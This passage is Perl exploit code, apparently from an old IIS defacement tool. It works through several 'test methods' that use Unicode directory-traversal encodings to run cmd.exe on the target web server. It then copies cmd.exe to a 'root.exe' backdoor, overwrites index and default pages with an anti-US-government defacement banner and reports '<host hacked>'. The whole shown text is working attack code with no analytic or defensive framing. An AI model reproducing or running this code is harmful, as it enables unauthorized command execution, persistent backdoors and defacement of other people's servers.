/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/default.htm
HTTP/1.0\r\n\r\n");
   }
  }
 my @results1=sendraw("GET / HTTP/1.0\r\n\r\n");
  foreach $line1 (@results1)
  {
   if ($line1 =~ /f**k USA Government/)
   {
   print "<$host hacked> :-)\n";
   }
  }
exit 0
 }
}

# ---------------test method 6
my @results=sendraw("GET
/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n");
foreach $line (@results)
```

```
{
 if ($line =~ /Directory/)
 {
  $flag=1;
  my @results1=sendraw("GET
/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir+..\\
HTTP/1.0\r\n\r\n");
  foreach $line1 (@results1)
  {
   if ($line1 =~ /<DIR>/)
   {
    @a=split(/\ /,$line1);
    $b=length($a[-1]);
    $c=substr($a[-1],0,$b-2);
    sendraw("GET
/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+copy+\\winnt\\system32\\c
md.exe+root.exe HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/index.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/index.htm
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/default.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/default.htm
HTTP/1.0\r\n\r\n");
   }
  }
  my @results2=sendraw("GET
/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir+..\\wwwroot\\
HTTP/1.0\r\n\r\n");
  foreach $line2 (@results2)
```

```
  {
   if ($line2 =~ /<DIR>/)
   {
    @a=split(/\ /,$line2);
    $b=length($a[-1]);
    $c=substr($a[-1],0,$b-2);
    sendraw("GET
/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+copy+\\winnt\\system32\\c
md.exe+root.exe HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/index.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/index.htm
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/default.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/default.htm
HTTP/1.0\r\n\r\n");
   }
  }
 my @results1=sendraw("GET / HTTP/1.0\r\n\r\n");
  foreach $line1 (@results1)
  {
   if ($line1 =~ /f**k USA Government/)
   {
   print "<$host hacked> :-)\n";
   }
  }
exit 0
 }
}
```

```
# ---------------test method 7
my @results=sendraw("GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n");
foreach $line (@results)
{
 if ($line =~ /Directory/)
 {
  $flag=1;
  my @results1=sendraw("GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+..\\
HTTP/1.0\r\n\r\n");
  foreach $line1 (@results1)
  {
   if ($line1 =~ /<DIR>/)
   {
    @a=split(/\ /,$line1);
    $b=length($a[-1]);
    $c=substr($a[-1],0,$b-2);
    sendraw("GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+\\winnt\\system32\\c
md.exe+root.exe HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/index.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/index.htm
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/default.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/default.htm
HTTP/1.0\r\n\r\n");
   }
  }
```

```
  my @results2=sendraw("GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+..\\wwwroot\\
HTTP/1.0\r\n\r\n");
  foreach $line2 (@results2)
  {
   if ($line2 =~ /<DIR>/)
   {
    @a=split(/\ /,$line2);
    $b=length($a[-1]);
    $c=substr($a[-1],0,$b-2);
    sendraw("GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+\\winnt\\system32\\c
md.exe+root.exe HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/index.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/index.htm
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/default.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/default.htm
HTTP/1.0\r\n\r\n");
   }
  }
 my @results1=sendraw("GET / HTTP/1.0\r\n\r\n");
  foreach $line1 (@results1)
  {
   if ($line1 =~ /f**k USA Government/)
   {
   print "<$host hacked> :-)\n";
   }
  }
```

```
exit 0
 }
}

# ---------------test method 8
my @results=sendraw("GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n");
foreach $line (@results)
{
 if ($line =~ /Directory/)
 {
  $flag=1;
  my @results1=sendraw("GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+..\\
HTTP/1.0\r\n\r\n");
  foreach $line1 (@results1)
  {
   if ($line1 =~ /<DIR>/)
   {
    @a=split(/\ /,$line1);
    $b=length($a[-1]);
    $c=substr($a[-1],0,$b-2);
    sendraw("GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+copy+\\winnt\\system32\\c
md.exe+root.exe HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/index.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/index.htm
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/default.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
```

```
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/default.htm
HTTP/1.0\r\n\r\n");
   }
  }
  my @results2=sendraw("GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+..\\wwwroot\\
HTTP/1.0\r\n\r\n");
  foreach $line2 (@results2)
  {
   if ($line2 =~ /<DIR>/)
   {
    @a=split(/\ /,$line2);
    $b=length($a[-1]);
    $c=substr($a[-1],0,$b-2);
    sendraw("GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+copy+\\winnt\\system32\\c
md.exe+root.exe HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/index.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/index.htm
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/default.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/default.htm
HTTP/1.0\r\n\r\n");
   }
  }
 my @results1=sendraw("GET / HTTP/1.0\r\n\r\n");
  foreach $line1 (@results1)
  {
   if ($line1 =~ /f**k USA Government/)
```

```
   {
   print "<$host hacked> :-)\n";
   }
  }
exit 0
 }
}

# ---------------test method 9
my @results=sendraw("GET
/scripts/..%c1%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n");
foreach $line (@results)
{
 if ($line =~ /Directory/)
 {
  $flag=1;
  my @results1=sendraw("GET
/scripts/..%c1%af..//winnt/system32/cmd.exe?/c+dir+..\\
HTTP/1.0\r\n\r\n");
  foreach $line1 (@results1)
  {
   if ($line1 =~ /<DIR>/)
   {
    @a=split(/\ /,$line1);
    $b=length($a[-1]);
    $c=substr($a[-1],0,$b-2);
    sendraw("GET
/scripts/..%c1%af../winnt/system32/cmd.exe?/c+copy+\\winnt\\system32\\c
md.exe+root.exe HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/index.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/index.htm
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/default.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
```

```
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/default.htm
HTTP/1.0\r\n\r\n");
   }
  }
  my @results2=sendraw("GET
/scripts/..%c1%af../winnt/system32/cmd.exe?/c+dir+..\\wwwroot\\
HTTP/1.0\r\n\r\n");
  foreach $line2 (@results2)
  {
   if ($line2 =~ /<DIR>/)
   {
    @a=split(/\ /,$line2);
    $b=length($a[-1]);
    $c=substr($a[-1],0,$b-2);
    sendraw("GET
/scripts/..%c1%af../winnt/system32/cmd.exe?/c+copy+\\winnt\\system32\\c
md.exe+root.exe HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/index.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/index.htm
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/default.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../wwwroot/$c/default.htm
HTTP/1.0\r\n\r\n");
   }
  }
```

```
 my @results1=sendraw("GET / HTTP/1.0\r\n\r\n");
  foreach $line1 (@results1)
  {
   if ($line1 =~ /f**k USA Government/)
   {
   print "<$host hacked> :-)\n";
   }
  }
exit 0
 }
}

# ---------------test method 10
my @results=sendraw("GET
/scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+dir
HTTP/1.0\r\n\r\n");
foreach $line (@results)
{
 if ($line =~ /Directory/)
 {
  $flag=1;
  my @results1=sendraw("GET
/scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+dir+..\\
HTTP/1.0\r\n\r\n");
  foreach $line1 (@results1)
  {
   if ($line1 =~ /<DIR>/)
   {
    @a=split(/\ /,$line1);
    $b=length($a[-1]);
    $c=substr($a[-1],0,$b-2);
    sendraw("GET
/scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+copy+\\winnt\\system32
\\cmd.exe+root.exe HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/index.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/index.htm
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
```

```
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/default.asp
HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
r%22^>^<font+size%3D7+color%3Dred^>f**k+USA+Government^</font^>^<tr^>^<
td^>^<p+align%3D%22center%22^>^<font+size%3D7+color%3Dred^>f**k+PoizonB
Ox^<tr^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D4+color%3Dred^>co
ntact:sysadmcn\@yahoo.com.cn^</html^>>../$c/default.htm
HTTP/1.0\r\n\r\n");
   }
  }
  my @results2=sendraw("GET
/scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+dir+..\\wwwroot\\
HTTP/1.0\r\n\r\n");
  foreach $line2 (@results2)
  {
   if ($line2 =~ /<DIR>/)
   {
    @a=split(/\ /,$line2);
    $b=length($a[-1]);
    $c=substr($a[-1],0,$b-2);
    sendraw("GET
/scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+copy+\\winnt\\system32
\\cmd.exe+root.exe HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
